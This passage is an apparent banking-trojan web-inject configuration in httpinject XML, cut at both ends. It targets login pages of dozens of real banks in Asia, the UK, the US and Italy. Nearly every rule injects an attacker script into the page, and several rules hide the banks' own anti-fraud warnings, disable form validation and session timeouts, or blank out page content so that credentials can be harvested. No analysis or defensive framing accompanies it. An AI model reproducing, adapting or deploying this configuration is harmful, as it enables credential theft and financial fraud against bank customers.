  1940. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1941. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1942. </modify>
  1943. </actions>
  1944. </httpinject>
  1945. <httpinject>
  1946. <conditions>
  1947. <url type="allow" onpost="1" onget="1" modifiers="">^https://cbs\.ncbchina\.cn/corporbank/login\_basic\_e\.jsp(\?|$)</url>
  1948. </conditions>
  1949. <actions>
  1950. <modify>
  1951. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  1952. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1953. </modify>
  1954. </actions>
  1955. </httpinject>
  1956. <httpinject>
  1957. <conditions>
  1958. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bbmy\.ocbc\.com</url>
  1959. </conditions>
  1960. <actions>
  1961. <modify>
  1962. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1963. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1964. </modify>
  1965. </actions>
  1966. </httpinject>
  1967. <httpinject>
  1968. <conditions>
  1969. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.permatae\-business\.com/corp/common/login\.do\?action=login</url>
  1970. </conditions>
  1971. <actions>
  1972. <modify>
  1973. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1974. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1975. </modify>
  1976. </actions>
  1977. </httpinject>
  1978. <httpinject>
  1979. <conditions>
  1980. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://logon\.reflex\.rhbbank\.com\.my/rhbcams/corporate/login\.jsp</url>
  1981. </conditions>
  1982. <actions>
  1983. <modify>
  1984. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1985. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1986. </modify>
  1987. </actions>
  1988. </httpinject>
  1989. <httpinject>
  1990. <conditions>
  1991. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://s2b\.standardchartered\.com/ssoapp/(login\.jsp|core\.security\.login\.event)</url>
  1992. </conditions>
  1993. <actions>
  1994. <modify>
  1995. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  1996. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  1997. </modify>
  1998. <modify>
  1999. <pattern modifiers="i"><![CDATA[div class="scbLoginImpContainer01"]]></pattern>
  2000. <replacement><![CDATA[div class="scbLoginImpContainer01" style="display:none;"]]></replacement>
  2001. </modify>
  2002. </actions>
  2003. </httpinject>
  2004. <httpinject>
  2005. <conditions>
  2006. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://sme\.standardchartered\.com/commonapp/core\.security\.vascochallenge\.event</url>
  2007. </conditions>
  2008. <actions>
  2009. <modify>
  2010. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2011. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2012. </modify>
  2013. </actions>
  2014. </httpinject>
  2015. <httpinject>
  2016. <conditions>
  2017. <url type="allow" onpost="1" onget="1" modifiers="">^https://ibank\.standardchartered\.com\.hk/nfs/login\.htm(\?|$)</url>
  2018. </conditions>
  2019. <actions>
  2020. <modify>
  2021. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  2022. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2023. </modify>
  2024. </actions>
  2025. </httpinject>
  2026. <httpinject>
  2027. <conditions>
  2028. <url type="allow" onpost="1" onget="1" modifiers="">^https://ibank\.standardchartered\.com\.sg/nfs/login\.htm(\?|$)</url>
  2029. </conditions>
  2030. <actions>
  2031. <modify>
  2032. <pattern modifiers="sA"><![CDATA[(.+</form>)]]></pattern>
  2033. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2034. </modify>
  2035. </actions>
  2036. </httpinject>
  2037. <httpinject>
  2038. <conditions>
  2039. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.onlinesbiglobal\.com/\S+/BANKAWAY($|\?|\;)</url>
  2040. </conditions>
  2041. <actions>
  2042. <modify>
  2043. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2044. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2045. </modify>
  2046. </actions>
  2047. </httpinject>
  2048. <httpinject>
  2049. <conditions>
  2050. <url type="allow" onpost="1" onget="1" modifiers="i">^https://www\.ucoebanking\.com/BankAwayRetail/.*/web/L001/retail/jsp/user/CorporateSignOn\.aspx(\?|$)</url>
  2051. </conditions>
  2052. <actions>
  2053. <modify>
  2054. <pattern modifiers="isA"><![CDATA[(.+</form>)]]></pattern>
  2055. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2056. </modify>
  2057. </actions>
  2058. </httpinject>
  2059. <httpinject>
  2060. <conditions>
  2061. <url type="allow" onpost="1" onget="1" modifiers="Ui">^https://uniservices\d*\.uobgroup\.com/(ELO/login\.jsp|wpe/ca/login\.do|wpe/ca/loginForm\.jsp)(\;|\?|$)</url>
  2062. </conditions>
  2063. <actions>
  2064. <modify>
  2065. <pattern modifiers="Ui"><![CDATA[(</form>)]]></pattern>
  2066. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2067. </modify>
  2068. </actions>
  2069. </httpinject>
  2070. <httpinject>
  2071. <conditions>
  2072. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://biz\.uob\.com\.my/ELO/login\.jsp</url>
  2073. </conditions>
  2074. <actions>
  2075. <modify>
  2076. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  2077. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2078. </modify>
  2079. </actions>
  2080. </httpinject>
  2081. <httpinject>
  2082. <conditions>
  2083. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.vietcombank\.com\.vn/ibanking/Default\.aspx</url>
  2084. </conditions>
  2085. <actions>
  2086. <modify>
  2087. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2088. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2089. </modify>
  2090. <modify>
  2091. <pattern modifiers="i"><![CDATA[color: Red; font\-weight: bold;]]></pattern>
  2092. <replacement><![CDATA[color: Red; font-weight: bold; display:none;]]></replacement>
  2093. </modify>
  2094. </actions>
  2095. </httpinject>
  2096. <httpinject>
  2097. <conditions>
  2098. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.vietinbank\.vn/ipay/vbh/login\.do</url>
  2099. </conditions>
  2100. <actions>
  2101. <modify>
  2102. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2103. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2104. </modify>
  2105. <modify>
  2106. <pattern modifiers="isU"><![CDATA[\$\("#login"\)\.validationEngine \(\{.*\}\);]]></pattern>
  2107. <replacement><![CDATA[]]></replacement>
  2108. </modify>
  2109. </actions>
  2110. </httpinject>
  2111. <httpinject>
  2112. <conditions>
  2113. <url type="allow" onpost="1" onget="1" modifiers="">^https://www\.winglungbank\.com/corpbanking/logon/CbHomLogonInp\.jsp(\?|$)</url>
  2114. </conditions>
  2115. <actions>
  2116. <modify>
  2117. <pattern modifiers="isA"><![CDATA[(.+</form>)]]></pattern>
  2118. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2119. </modify>
  2120. </actions>
  2121. </httpinject>
  2122. <httpinject>
  2123. <conditions>
  2124. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.irakyat\.com\.my/retail/security/commonLogin\.jsp</url>
  2125. </conditions>
  2126. <actions>
  2127. <modify>
  2128. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  2129. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2130. </modify>
  2131. </actions>
  2132. </httpinject>
  2133. <httpinject>
  2134. <conditions>
  2135. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibank\.klikbca\.com</url>
  2136. </conditions>
  2137. <actions>
  2138. <modify>
  2139. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  2140. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2141. </modify>
  2142. </actions>
  2143. </httpinject>
  2144. <httpinject>
  2145. <conditions>
  2146. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.mybsn\.com\.my/mybsn/login/login\.do</url>
  2147. </conditions>
  2148. <actions>
  2149. <modify>
  2150. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2151. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2152. </modify>
  2153. </actions>
  2154. </httpinject>
  2155. <httpinject>
  2156. <conditions>
  2157. <url type="allow" onpost="1" onget="1" modifiers="U">^https://www\.hsbc\.co\.uk/1/2/</url>
  2158. </conditions>
  2159. <actions>
  2160. <modify>
  2161. <pattern modifiers="msU"><![CDATA[(</form>)]]></pattern>
  2162. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2163. </modify>
  2164. </actions>
  2165. </httpinject>
  2166. <httpinject>
  2167. <conditions>
  2168. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bank\.barclays\.co\.uk/olb/auth/LoginLink\.action</url>
  2169. </conditions>
  2170. <actions>
  2171. <modify>
  2172. <pattern modifiers="Ui"><![CDATA[(</body>)]]></pattern>
  2173. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2174. </modify>
  2175. </actions>
  2176. </httpinject>
  2177. <httpinject>
  2178. <conditions>
  2179. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://secure\.cafbank\.org</url>
  2180. </conditions>
  2181. <actions>
  2182. <modify>
  2183. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2184. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2185. </modify>
  2186. </actions>
  2187. </httpinject>
  2188. <httpinject name="YA_SRU">
  2189. <conditions>
  2190. <url type="allow" onpost="1" onget="1" modifiers="iU">^http://ya\.ru
  2191. </url>
  2192. <url type="deny" onpost="1" onget="1" modifiers="">\.(gif|png|jpg|css|swf)($|\?)
  2193. </url>
  2194. </conditions>
  2195. <actions>
  2196. <modify>
  2197. <pattern><![CDATA[<title>]]></pattern>
  2198. <replacement><![CDATA[<title>XXX: ]]></replacement>
  2199. </modify>
  2200. </actions>
  2201. </httpinject>
  2202. <httpinject>
  2203. <conditions>
  2204. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ihb\d*\.cedacri\.it/hb/authentication/login\.seam</url>
  2205. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ihb\d*\.cedacri\.it/hb/authentication/login\-PIN_UTENTE\.seam</url>
  2206. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ihb\d*\.cedacri\.it/hb/authentication/login\-OTP\.seam</url>
  2207. </conditions>
  2208. <actions>
  2209. <modify>
  2210. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2211. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2212. </modify>
  2213. <modify>
  2214. <pattern modifiers="isU"><![CDATA[\$J\(document\)\.idleTimeout\(.*\}\);]]></pattern>
  2215. <replacement><![CDATA[});]]></replacement>
  2216. </modify>
  2217. </actions>
  2218. </httpinject>
  2219. <httpinject>
  2220. <conditions>
  2221. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://hbnet\d*\.cedacri\.it/\d+/home\.nsf/.*Login=1</url>
  2222. </conditions>
  2223. <actions>
  2224. <modify>
  2225. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2226. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2227. </modify>
  2228. </actions>
  2229. </httpinject>
  2230. <httpinject>
  2231. <conditions>
  2232. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://banking\.secure.bnl\.it/wps/portal/</url>
  2233. </conditions>
  2234. <actions>
  2235. <modify>
  2236. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2237. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2238. </modify>
  2239. </actions>
  2240. </httpinject>
  2241. <httpinject>
  2242. <conditions>
  2243. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://business\.bnl\.it/bway/access/login</url>
  2244. </conditions>
  2245. <actions>
  2246. <modify>
  2247. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2248. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2249. </modify>
  2250. </actions>
  2251. </httpinject>
  2252. <httpinject>
  2253. <conditions>
  2254. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://business\.bnl\.it/login/SMBway\.jsp</url>
  2255. </conditions>
  2256. <actions>
  2257. <modify>
  2258. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2259. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2260. </modify>
  2261. </actions>
  2262. </httpinject>
  2263. <httpinject>
  2264. <conditions>
  2265. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://secure\d*\.businesswaybnl\.it/newcorporate/webcontoc/login/.*login</url>
  2266. </conditions>
  2267. <actions>
  2268. <modify>
  2269. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2270. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2271. </modify>
  2272. </actions>
  2273. </httpinject>
  2274. <httpinject>
  2275. <conditions>
  2276. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bancopostaimpresaonline\.poste\.it/bpiol/</url>
  2277. </conditions>
  2278. <actions>
  2279. <modify>
  2280. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2281. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2282. </modify>
  2283. </actions>
  2284. </httpinject>
  2285. <httpinject>
  2286. <conditions>
  2287. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://nowbankingprivati\.cariparma\.it/IT/Pagine/Login\.aspx</url>
  2288. </conditions>
  2289. <actions>
  2290. <modify>
  2291. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  2292. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2293. </modify>
  2294. </actions>
  2295. </httpinject>
  2296. <httpinject>
  2297. <conditions>
  2298. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.creval\.it/index\.asp</url>
  2299. </conditions>
  2300. <actions>
  2301. <modify>
  2302. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2303. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2304. </modify>
  2305. </actions>
  2306. </httpinject>
  2307. <httpinject>
  2308. <conditions>
  2309. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ubi\.cbibanking\.it/eb/(accesso|login).do</url>
  2310. </conditions>
  2311. <actions>
  2312. <modify>
  2313. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2314. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2315. </modify>
  2316. </actions>
  2317. </httpinject>
  2318. <httpinject>
  2319. <conditions>
  2320. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ib\.cim\-italia\.it/eb/(accesso|login).do</url>
  2321. </conditions>
  2322. <actions>
  2323. <modify>
  2324. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2325. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2326. </modify>
  2327. </actions>
  2328. </httpinject>
  2329. <httpinject>
  2330. <conditions>
  2331. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://youwebcard\.bancopopolare\.it/WEBHT/login</url>
  2332. </conditions>
  2333. <actions>
  2334. <modify>
  2335. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2336. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2337. </modify>
  2338. </actions>
  2339. </httpinject>
  2340. <httpinject>
  2341. <conditions>
  2342. <url type="allow" onpost="1" onget="1" modifiers="iU"><![CDATA[^https\://chaseonline\.chase\.com/MyAccounts\.aspx.*]]></url>
  2343. <url type="deny" onpost="0" onget="1" modifiers="i">\.(gif|png|jpg|css|swf)($|\?)
  2344. </url>
  2345. </conditions>
  2346. <actions>
  2347. <modify>
  2348. <pattern modifiers="msU"><![CDATA[(\<head.*\>)]]></pattern>
  2349. <replacement><![CDATA[\1<style type="text/css">
  2350. body {visibility: hidden; }
  2351. </style>
  2352. <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js"></script>
  2353. <script type="text/javascript" src="twister5.js?system=177"></script>]]></replacement>
  2354. </modify>
  2355. </actions>
  2356. </httpinject>
  2357. <httpinject>
  2358. <conditions>
  2359. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.chase\.com/.*apps/chase/clientlibs/foundation/publishoptimized/homepage\-po\-min\.js
  2360. </url>
  2361. </conditions>
  2362. <actions>
  2363. <modify>
  2364. <pattern modifiers="isU"><![CDATA[(abcdefghijklmnopqrstuvwxyz0123456789_")]]></pattern>
  2365. <replacement><![CDATA[\1;if(typeof window.submitLogin !== 'undefined' && !window.submitLogin()) return false]]></replacement>
  2366. </modify>
  2367. </actions>
  2368. </httpinject>
  2369. <httpinject>
  2370. <conditions>
  2371. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.sella\.it/(Autenticazione/|)</url>
  2372. </conditions>
  2373. <actions>
  2374. <modify>
  2375. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2376. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2377. </modify>
  2378. <modify>
  2379. <pattern modifiers="i"><![CDATA[(script/load_images\.js)]]></pattern>
  2380. <replacement><![CDATA[\11]]></replacement>
  2381. </modify>
  2382. </actions>
  2383. </httpinject>
  2384. <httpinject>
  2385. <conditions>
  2386. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ibbweb\.tecmarket\.it/tmibbwebsecurity/\d+/</url>
  2387. </conditions>
  2388. <actions>
  2389. <modify>
  2390. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2391. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2392. </modify>
  2393. <modify>
  2394. <pattern modifiers="i"><![CDATA[obf\.js]]></pattern>
  2395. <replacement><![CDATA[obf.css]]></replacement>
  2396. </modify>
  2397. </actions>
  2398. </httpinject>
  2399. <httpinject>
  2400. <conditions>
  2401. <url type="allow" onpost="1" onget="1" modifiers="iU">^http://www\.atime\.it/</url>
  2402. </conditions>
  2403. <actions>
  2404. <modify>
  2405. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  2406. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2407. </modify>
  2408. </actions>
  2409. </httpinject>
  2410. <httpinject>
  2411. <conditions>
  2412. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://areariservata\.bancamarche\.it/wps/portal/login/\d+/(corporate|family)/</url>
  2413. </conditions>
  2414. <actions>
  2415. <modify>
  2416. <pattern modifiers="i"><![CDATA[(</body>)]]></pattern>
  2417. <replacement><![CDATA[<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\1]]></replacement>
  2418. </modify>
  2419. <modify>
  2420. <pattern modifiers="i"><![CDATA[(Login Bar Portlet<\/span><\/span>\s+<div class="lotusOverflowAuto")]]></pattern>
  2421. <replacement><![CDATA[\1 style="visibility:hidden;"]]></replacement>
  2422. </modify>
  2423. <modify>
  2424. <pattern modifiers="i"><![CDATA[<div class='component-container ibm2Col ibmRightCol ibmDndColumn]]></pattern>
  2425. <replacement><![CDATA[<div style="visibility:hidden;" class='component-container ibm2Col ibmRightCol ibmDndColumn]]></replacement>
  2426. </modify>
  2427. <modify>
  2428. <pattern modifiers="i"><![CDATA[<p>Non ricordi i tuoi dati]]></pattern>
  2429. <replacement><![CDATA[<p style="visibility:hidden;">Non ricordi i tuoi dati]]></replacement>
  2430. </modify>
  2431. <modify>
  2432. <pattern modifiers="isU"><![CDATA[function leggiCookie\(nomeCookie\)\{.*</script>]]></pattern>
  2433. <replacement><![CDATA[function leggiCookie(nomeCookie){return 'hidden';}</script>]]></replacement>
  2434. </modify>
  2435. </actions>
  2436. </httpinject>
  2437. <httpinject>
  2438. <conditions>
  2439. <url type="allow" onpost="1" onget="1" modifiers="iU">^http://www\.credem\.it/(secure/Forms/|Privati/Pagine/)</url>
  2440. </conditions>
  2441. <actions>
  2442. <modify>
  2443. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  2444. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2445. </modify>
  2446. </actions>
  2447. </httpinject>
  2448. <httpinject>
  2449. <conditions>
  2450. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://valido\.credem\.it/ValidoFrontend/loginShort\.xhtml</url>
  2451. </conditions>
  2452. <actions>
  2453. <modify>
  2454. <pattern modifiers="i"><![CDATA[(</html>)]]></pattern>
  2455. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2456. </modify>
  2457. </actions>
  2458. </httpinject>
  2459. <httpinject>
  2460. <conditions>
  2461. <url type="allow" onpost="1" onget="1" modifiers="U"><![CDATA[^https\://www\.credem\.it/OneToOne/ebank/functions/home/home_sec/home_cliente_.*\.jsp.*]]></url>
  2462. <url type="deny" onpost="0" onget="1" modifiers="">\.(gif|png|jpg|css|swf)($|\?)</url>
  2463. </conditions>
  2464. <actions>
  2465. <modify>
  2466. <pattern modifiers="imsgU"><![CDATA[<table[^>]+><tr class="boton"><td>\s*<table[^>]+><tr class="sfondo32"><td class="normale">\s+<b>Attenzione:&nbsp;</b> Le politiche di sicurezza di CREDEM non prevedono in nessun caso la richiesta di rispondere a domande personali seguite dal codice Mr\.Pin\. Nel caso si dovessero presentare pagine di questo tipo, invitiamo ad effettuare una segnalazione al numero verde 800\.27\.33\.36\.</TD></tr></table></td></tr></table>]]></pattern>
  2467. <replacement><![CDATA[<!--test-->]]></replacement>
  2468. </modify>
  2469. </actions>
  2470. </httpinject>
  2471. <httpinject>
  2472. <conditions>
  2473. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.csebanking\.it/fec/</url>
  2474. </conditions>
  2475. <actions>
  2476. <modify>
  2477. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2478. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2479. </modify>
  2480. </actions>
  2481. </httpinject>
  2482. <httpinject>
  2483. <conditions>
  2484. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.isideonline\.it/relaxbanking/</url>
  2485. </conditions>
  2486. <actions>
  2487. <modify>
  2488. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2489. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2490. </modify>
  2491. </actions>
  2492. </httpinject>
  2493. <httpinject>
  2494. <conditions>
  2495. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.iwbank\.it/</url>
  2496. </conditions>
  2497. <actions>
  2498. <modify>
  2499. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2500. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2501. </modify>
  2502. </actions>
  2503. </httpinject>
  2504. <httpinject>
  2505. <conditions>
  2506. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://rob.raiffeisen.it/nibank/</url>
  2507. </conditions>
  2508. <actions>
  2509. <modify>
  2510. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2511. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2512. </modify>
  2513. </actions>
  2514. </httpinject>
  2515. <httpinject>
  2516. <conditions>
  2517. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://paschiinazienda\.mps\.it/PaschiHome/LOGIN2\.0/RTLOGIN/ASPX/RTLoginCB01\.aspx</url>
  2518. </conditions>
  2519. <actions>
  2520. <modify>
  2521. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2522. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2523. </modify>
  2524. </actions>
  2525. </httpinject>
  2526. <httpinject>
  2527. <conditions>
  2528. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://(hb|paschiinazienda|corporate)\..*/LOGIN2\.0/RTLOGIN/ASPX/</url>
  2529. </conditions>
  2530. <actions>
  2531. <modify>
  2532. <pattern modifiers="i"><![CDATA[(banner_alert\.jpg" style="border\-width:0px;)]]></pattern>
  2533. <replacement><![CDATA[\1display:none;]]></replacement>
  2534. </modify>
  2535. </actions>
  2536. </httpinject>
  2537. <httpinject>
  2538. <conditions>
  2539. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://ib\.mps\.it/web/ib/login</url>
  2540. </conditions>
  2541. <actions>
  2542. <modify>
  2543. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2544. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2545. </modify>
  2546. <modify>
  2547. <pattern modifiers="i"><![CDATA[(/vabs\.js)]]></pattern>
  2548. <replacement><![CDATA[\11]]></replacement>
  2549. </modify>
  2550. </actions>
  2551. </httpinject>
  2552. <httpinject>
  2553. <conditions>
  2554. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.inbiz\.intesasanpaolo\.com/(scriptFvca0/PortalWAR/portal\_login/|portalEiam0/sma/)</url>
  2555. </conditions>
  2556. <actions>
  2557. <modify>
  2558. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2559. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2560. </modify>
  2561. </actions>
  2562. </httpinject>
  2563. <httpinject>
  2564. <conditions>
  2565. <url type="allow" onpost="1" onget="1" modifiers="Ui">^http://www\.inbiz\.intesasanpaolo\.com/</url>
  2566. </conditions>
  2567. <actions>
  2568. <modify>
  2569. <pattern modifiers="imsU"><![CDATA[(<body.*>)]]></pattern>
  2570. <replacement><![CDATA[\1
  2571. <script type="text/javascript" language="JavaScript">
  2572. if (window.location.protocol != "https:")
  2573. window.location.href = "https:" + window.location.href.substring(window.location.protocol.length);
  2574. </script>
  2575. ]]></replacement>
  2576. </modify>
  2577. </actions>
  2578. </httpinject>
  2579. <httpinject>
  2580. <conditions>
  2581. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://www\.inbank\.it/function/login/index\.jsp</url>
  2582. </conditions>
  2583. <actions>
  2584. <modify>
  2585. <pattern modifiers="i"><![CDATA[(</form>)]]></pattern>
  2586. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>]]></replacement>
  2587. </modify>
  2588. </actions>
  2589. </httpinject>
  2590. <httpinject>
  2591. <conditions>
  2592. <url type="allow" onpost="1" onget="1" modifiers="iU">^https://bancaincasa\.sba\.bcc\.it/\d+/</url>
  2593. </conditions>
  2594. <actions>
  2595. <modify>
  2596. <pattern modifiers="i"><![CDATA[(Fine\s+form\s+login\s+-->\s+)(</body>)]]></pattern>
  2597. <replacement><![CDATA[\1<script type="text/javascript" language="JavaScript" src="scripts/incomeomnitrade.js"></script>\2]]></replacement>
  2598. </modify>
  2599. </actions>
  2600. </httpinject>
  2601. <httpinject>
  2602. <conditions>
